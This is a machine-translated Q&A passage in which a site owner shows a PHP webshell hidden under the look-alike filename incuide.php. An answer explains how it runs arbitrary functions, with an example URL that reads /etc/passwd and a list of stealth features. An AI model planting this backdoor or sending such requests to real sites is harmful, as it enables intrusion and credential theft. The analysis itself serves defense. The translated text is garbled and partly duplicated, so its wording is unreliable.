incuide.php,用大写字母“拼写”;我";在;l";位置
我今天收到一条来自Siteground的消息,主题是“在您的帐户上检测到易受攻击的软件”。(我有点爱我的地盘;对它们的探测没有问题。) 当我调查他们发现的文件时,有一个PHP文件存在于我的一些附加域中。它是incuide.php,大写字母“i”位于“l”位置。即使在这个网站上,由于字体的原因,它看起来也和正确拼写时一样。显然可疑。但奇怪的是,该文件可追溯到2013年。我尝试的任何搜索都会返回到错误更正文件的链接。打字错误才是关键 无论如何,下面是该文件中的代码:incuide.php,用大写字母“拼写”;我";在;l";位置,php,Php,我今天收到一条来自Siteground的消息,主题是“在您的帐户上检测到易受攻击的软件”。(我有点爱我的地盘;对它们的探测没有问题。) 当我调查他们发现的文件时,有一个PHP文件存在于我的一些附加域中。它是incuide.php,大写字母“i”位于“l”位置。即使在这个网站上,由于字体的原因,它看起来也和正确拼写时一样。显然可疑。但奇怪的是,该文件可追溯到2013年。我尝试的任何搜索都会返回到错误更正文件的链接。打字错误才是关键 无论如何,下面是该文件中的代码: <?php @array_
<?php @array_diff_ukey(@array((string)$_REQUEST['password']=>1),@array((string)stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']); ?>
显然,我正在清理这个。我只是想知道你的订阅者是否能告诉我更多关于这个特殊漏洞的信息。它调用一个名为
login
query参数的任意函数,该参数最多接受两个参数,第一个参数是password
字段的值,第二个参数是re_password
字段的值。例如:
http://yoursite.com/incIude.php?login=system&password=cat%20%2fetc%2fpasswd
将打印/etc/passwd的内容。它调用一个名为
login
查询参数的任意函数,该参数最多接受两个参数,第一个参数是密码
字段的值,第二个参数是重新设置密码
字段的值。例如:
http://yoursite.com/incIude.php?login=system&password=cat%20%2fetc%2fpasswd
将打印/etc/passwd的内容。这似乎是一个用于RCE(远程代码执行)的简单后门脚本。重新格式化脚本:
@array_diff_ukey(
@array(
(string)$_REQUEST['password'] => 1
),
@array(
(string)stripslashes($_REQUEST['re_password']) => 2
),
$_REQUEST['login']
);
所有内容都以@
作为前缀,以确保不会发出错误、异常或警告。这会泄露后门脚本
此处的重要漏洞是的最后一个参数是回调函数。在PHP中,这通常可以是匿名函数、函数变量或字符串
因此,攻击是:
- 以某种方式将脚本包含在某个地方(无辜的git提交?内部人员的小更改?对代码库的临时写访问?);尤其是一个登录/注册端点,该端点将在表单字段中包括
和login
,但任何地方都可以工作(因为请求仍然可以包括register
和login
参数)register
- 发送请求,如
?login=system&password=ls
- 指定为
的函数使用任意数组中的键调用,即从login
和password
;在本例中,函数为re_password
system(“ls”,NULL)
- 利润!(RCE)
- 一个看似无辜的文件名,通常与“include”无法区分
- 没有抛出错误
- 在登录尝试时执行,这可能是常规请求的一部分,并且没有正确记录
- 这似乎是一个用于RCE(远程代码执行)的简单后门脚本。重新格式化脚本:
@array_diff_ukey(
@array(
(string)$_REQUEST['password'] => 1
),
@array(
(string)stripslashes($_REQUEST['re_password']) => 2
),
$_REQUEST['login']
);
所有内容都以@
作为前缀,以确保不会发出错误、异常或警告。这会泄露后门脚本
此处的重要漏洞是的最后一个参数是回调函数。在PHP中,这通常可以是匿名函数、函数变量或字符串
因此,攻击是:
- 以某种方式将脚本包含在某个地方(无辜的git提交?内部人员的小更改?对代码库的临时写访问?);尤其是一个登录/注册端点,该端点将在表单字段中包括
和login
,但任何地方都可以工作(因为请求仍然可以包括register
和login
参数)register
- 发送请求,如
?login=system&password=ls
- 指定为
的函数使用任意数组中的键调用,即从login
和password
;在本例中,函数为re_password
system(“ls”,NULL)
- 利润!(RCE)
- 一个看似无辜的文件名,通常与“include”无法区分
- 没有抛出错误
- 在登录尝试时执行,这可能是常规请求的一部分,并且没有正确记录